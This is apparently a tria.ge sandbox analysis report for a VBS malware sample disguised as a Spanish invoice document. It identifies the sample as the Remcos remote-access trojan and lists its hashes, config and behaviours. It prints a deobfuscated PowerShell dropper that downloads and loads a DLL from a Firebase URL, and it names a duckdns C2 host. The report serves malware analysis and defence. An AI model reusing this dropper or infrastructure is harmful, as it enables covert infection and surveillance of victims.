Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs

  • Size

    562KB

  • Sample

    221104-k4xyjsdgf6

  • MD5

    e0374295f58128949b5876934737b630

  • SHA1

    cca48afe8f320a963d3e0024ee0a3f0f8bdfe635

  • SHA256

    594a29480b7fce9d4e200b08fcded341d776420303a8ea955333a7b7971c4512

  • SHA512

    91beecd85f6343370034465fba5ab178a0b3d6de91e90acaa70b3c378968b5068cdebc59921dd5899bf133d326dac75ea4c2c26f1728d11edcbf2f05c255b72b

  • SSDEEP

    192:fnh4wl8t0iFzx5o1QS/j14ta1k0yPPaNIfALuQ1Pbk:awKtR53PPaNIfALuQ1Q

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$rodacopy = "C:\\Users\\Admin\\AppData\\Local\\Temp\\DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs"
2
[byte[]]$dll = [system.convert]::frombase64string((new-object net.webclient).downloadstring("https://firebasestorage.googleapis.com/v0/b/fir-3b506.appspot.com/o/dll%2Fnego.txt?alt=media&token=f068e42c-0fbc-4dcc-9984-985de5d7ed9c"))
3
(((([system.appdomain]::currentdomain).load($dll)).gettype("NwgoxM.KPJaNj")).getmethod("PUlGKA")).invoke($null, [object[]]"b36315676efb-8e59-f0b4-78f0-39f6c976=nekot&aidem=tla?txt.irpirp/o/moc.topsppa.7a63e-sselb/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth", $rodacopy, "Roda")
4
URLs
ps1.dropper

https://firebasestorage.googleapis.com/v0/b/fir-3b506.appspot.com/o/dll%2Fnego.txt?alt=media&token=f068e42c-0fbc-4dcc-9984-985de5d7ed9c

Extracted

Family

remcos

Botnet

RemoteHost

C2

nbvuhvioeodhdu.duckdns.org:1883

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-YPARK9

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    Remcos

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Targets

    • Target

      DOCUMENTO DE CORRESPODIENTE A FAV-106 FAV 109.vbs

    • Size

      562KB

    • MD5

      e0374295f58128949b5876934737b630

    • SHA1

      cca48afe8f320a963d3e0024ee0a3f0f8bdfe635

    • SHA256

      594a29480b7fce9d4e200b08fcded341d776420303a8ea955333a7b7971c4512

    • SHA512

      91beecd85f6343370034465fba5ab178a0b3d6de91e90acaa70b3c378968b5068cdebc59921dd5899bf133d326dac75ea4c2c26f1728d11edcbf2f05c255b72b

    • SSDEEP

      192:fnh4wl8t0iFzx5o1QS/j14ta1k0yPPaNIfALuQ1Pbk:awKtR53PPaNIfALuQ1Q

    Score
    10/10
    • Remcos

      Remcos is a closed-source remote control and surveillance software.

    • Blocklisted process makes network request

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Drops startup file

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v6

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.